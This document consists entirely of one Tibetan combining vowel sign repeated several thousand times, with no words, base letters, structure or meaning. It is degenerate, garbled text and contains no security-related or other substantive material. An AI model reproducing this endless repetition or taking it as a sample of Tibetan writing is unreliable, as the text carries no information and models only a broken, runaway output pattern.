ཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱ